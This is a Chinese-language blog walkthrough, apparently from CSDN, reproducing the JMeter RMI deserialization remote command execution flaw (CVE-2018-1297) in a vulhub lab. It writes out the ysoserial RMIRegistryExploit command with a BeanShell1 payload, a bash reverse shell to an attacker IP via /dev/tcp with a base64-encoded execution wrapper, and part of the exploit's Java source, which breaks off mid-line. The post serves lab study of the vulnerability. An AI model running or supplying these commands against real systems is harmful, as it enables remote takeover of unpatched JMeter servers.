Jmeter RMI 反序列化命令执行漏洞复现

本文介绍了JMeter RMI反序列化漏洞的复现过程,包括利用ysoserial工具和靶场vulhub—jmeter/CVE-2018-1297/进行实战演练。同时,分析了漏洞原理,引用了安全研究文章以深入理解,并对利用脚本进行了详细解析,揭示了如何通过RMIRegistryExploit和BeanShell1执行任意命令。
摘要由CSDN通过智能技术生成

工具下载

ysoserial

wget https://github.com/frohoff/ysoserial/releases/tag/v0.0.6/ysoserial-all.jar 

漏洞复现

靶场:vulhub—jmeter/CVE-2018-1297/
通过命令sudo docker-compose config可以看到,环境开启后将启动RMI服务并监听1099端口,我们只需要使用ysoserial.exploit.RMIRegistryExploit即可执行任意命令

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit 靶机IP 目标端口 BeanShell1 '待执行命令'

反弹shell连接:

将该命令进行base64编码 --------> bash -i >& /dev/tcp/攻击机IP/任意端口 0>&1

执行该命令 -------->java -cp ysoserial-all.jar ysoserial.exploit.RMIRegistryExploit 靶机IP 目标端口 BeanShell1 'bash -c {echo,base64编码}|{base64,-d}|{bash,-i}'

在这里插入图片描述

漏洞原理分析

https://www.anquanke.com/post/id/197829#h3-5
https://xz.aliyun.com/t/2223

脚本分析

针对目标主机地址及端口的RMI Registry建立远程连接(RMI—使用Java远程消息交换协议JRMP(Java Remote Messaging Protocol)进行通信),连接成功后提交执行用户选择的 payload

RMIRegistryExploit

package ysoserial.exploit;

import java.rmi.ConnectIOException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import ysoserial.payloads.CommonsCollections1;
import ysoserial.payloads.ObjectPayload;
import ysoserial.secmgr.ExecCheckingSecurityManager;

public class RMIRegistryExploit {
   
    public RMIRegistryExploit() {
   
    }

    public static void main(String[] args) throws Exception {
   
        String host = args[0];
        int port = Integer.parseInt(args[
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值